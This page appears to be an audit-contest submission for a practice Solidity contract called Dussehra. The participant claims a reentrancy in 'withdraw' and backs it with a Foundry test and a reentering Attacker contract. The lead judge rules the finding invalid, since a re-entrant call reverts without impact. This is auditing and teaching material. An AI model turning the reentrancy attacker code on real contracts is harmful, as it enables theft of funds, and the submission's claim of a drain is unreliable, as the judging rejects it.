First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Reentrancy in 'Dussehra__withdraw()'

DanielEth

Summary

The function 'withdraw' in the 'Dussehra' contract is subjected to a possible reentrancy attack.

Vulnerability Details

There might be a reentrancy attack because this function does not follow the CEI pattern, a variable is updated after an external call.

##PoC

function test_withdraw_reentrancyAttack() public {
Attacker attacker1 = new Attacker();
Attacker attacker2 = new Attacker();
​
deal(address(this), 0);
deal(address(dussehra), 10 ether);
assertEq(address(this).balance, 0);
deal(address(attacker1), 10 ether);
uint256 attacker1Balance = address(attacker1).balance;
assertEq(attacker1Balance, 10 ether);
vm.startPrank(address(attacker1));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
deal(address(attacker2), 10 ether);
uint256 attacker2Balance = address(attacker2).balance;
assertEq(attacker2Balance, 10 ether);
vm.startPrank(address(attacker2));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
vm.warp(1728691200);
choosingRam.selectRamIfNotSelected();
address selectedRam = choosingRam.selectedRam();
assertNotEq(selectedRam, 0x0000000000000000000000000000000000000000);
​
vm.startPrank(selectedRam);
dussehra.killRavana();
assertEq(address(dussehra).balance, (10 ether) + 2 ether / 2);
assertEq(address(this).balance, 2 ether / 2);
assertEq(address(selectedRam).balance, 10 ether - 1 ether);
dussehra.withdraw();
assertEq(dussehra.totalAmountGivenToRam(), 0);
assertNotEq(address(selectedRam).balance, (10 ether - 1 ether) + 1 ether);
//In this case, attacker drained almost all the ether present in the contract
}
}
​
​
​
contract Attacker is Test, IERC721Receiver{
Dussehra public dussehra;
​
ChoosingRam public choosingRam;
​
RamNFT public ramNft;
​
DussehraTest public dussehraTest;
​
address public organizer;
​
receive() external payable{
Dussehra _dussehra = Dussehra(msg.sender);
if(address(msg.sender).balance > 2 ether / 2){
_dussehra.withdraw();
}
​
}
​
fallback() external payable {}
​
​
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
return this.onERC721Received.selector;
}
}

Impact

A malicious contract can attack this function by calling repeatedly the 'withdraw' function.

Tools Used

Manual Review

Recommendations

Please follow the CEI pattern: (Check, effects, interaction).

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.